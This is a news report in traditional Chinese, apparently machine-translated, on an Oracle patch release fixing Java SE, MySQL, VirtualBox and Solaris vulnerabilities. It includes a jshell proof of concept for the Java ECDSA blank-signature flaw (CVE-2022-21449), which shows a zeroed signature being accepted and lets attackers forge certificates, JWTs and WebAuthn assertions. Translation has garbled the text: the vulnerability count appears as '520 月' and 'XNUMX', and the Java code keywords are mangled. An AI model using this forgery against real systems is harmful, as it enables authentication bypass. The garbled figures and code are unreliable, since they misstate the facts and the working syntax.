能夠在 Java SE 中產生虛擬 ECDSA 簽章。 MySQL、VirtualBox 和 Solaris 中的漏洞

Oracle 已發布其產品更新的計畫版本(關鍵修補程式更新),旨在消除關鍵問題和漏洞。 520 月的更新共修復了 XNUMX 個漏洞。

一些問題:

  • 6 Java SE 中的安全性問題。 所有漏洞都可以在無需身份驗證的情況下遠端利用,並影響允許執行不可信程式碼的環境。 有兩個問題的嚴重性等級已指定為 7.5。 這些漏洞已在 Java SE 18.0.1、11.0.15 和 8u331 版本中解決。

    其中一個問題(CVE-2022-21449)允許您在生成時使用零曲線參數來產生虛構的 ECDSA 數位簽章(如果參數為零,則曲線將趨於無窮大,因此在產生時明確禁止使用零值)規範)。 Java函式庫沒有檢查ECDSA參數的空值,因此在處理帶有空參數的簽章時,Java在所有情況下都認為它們有效)。

    除此之外,該漏洞還可用於產生虛擬的 TLS 憑證(該憑證將在 Java 中被視為正確),以及透過 WebAuthn 繞過身分驗證並產生虛擬的 JWT 簽章和 OIDC 令牌。 換句話說,該漏洞允許您產生通用憑證和簽名,這些憑證和簽名將在使用標準 java.security.* 類別進行驗證的 Java 處理程序中被接受並被視為正確。 這個問題出現在 Java 分支 15、16、17 和 18 中。提供了產生假憑證的範例。 jshell>導入java.security.* jshell>var密鑰=KeyPairGenerator.getInstance("EC").generateKeyPair()密鑰==>java.security.KeyPair@626b2d4a jshell>varblankSignature=新位元組[64]blankSignature= =>位元組[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, … , 0, 0, 0, 0, 0, 0, 0, 0 } jshell > var sig = Signature.getInstance("SHA256WithECDSAInP1363Format") sig ==> 簽章物件:SHA256WithECDSAInP1363Format jshell> sig.initVerify(keys.getPublic()) jshell> sig.update("Hello, World".getBytes()) jshell> sig.verify(blankSignature) $8 ==> true

  • MySQL伺服器中存在26個漏洞,其中兩個可遠端利用。 與使用 OpenSSL 和 protobuf 相關的最嚴重問題的嚴重性等級為 7.5。 較不嚴重的漏洞會影響優化器、InnoDB、複製、PAM 外掛程式、DDL、DML、FTS 和日誌記錄。 這些問題已在 MySQL Community Server 8.0.29 和 5.7.38 版本中解決。
  • VirtualBox 中存在 5 個漏洞。 這些問題的嚴重性等級為 7.5 到 3.8(最危險的漏洞僅出現在 Windows 平台上)。 這些漏洞已在 VirtualBox 6.1.34 更新中修復。
  • Solaris 中的 6 個漏洞。 這些問題影響核心和實用程式。 公用事業中最嚴重的問題被指定為 8.2 級危險等級。 這些漏洞已在 Solaris 11.4 SRU44 更新中解決。

來源: opennet.ru

添加評論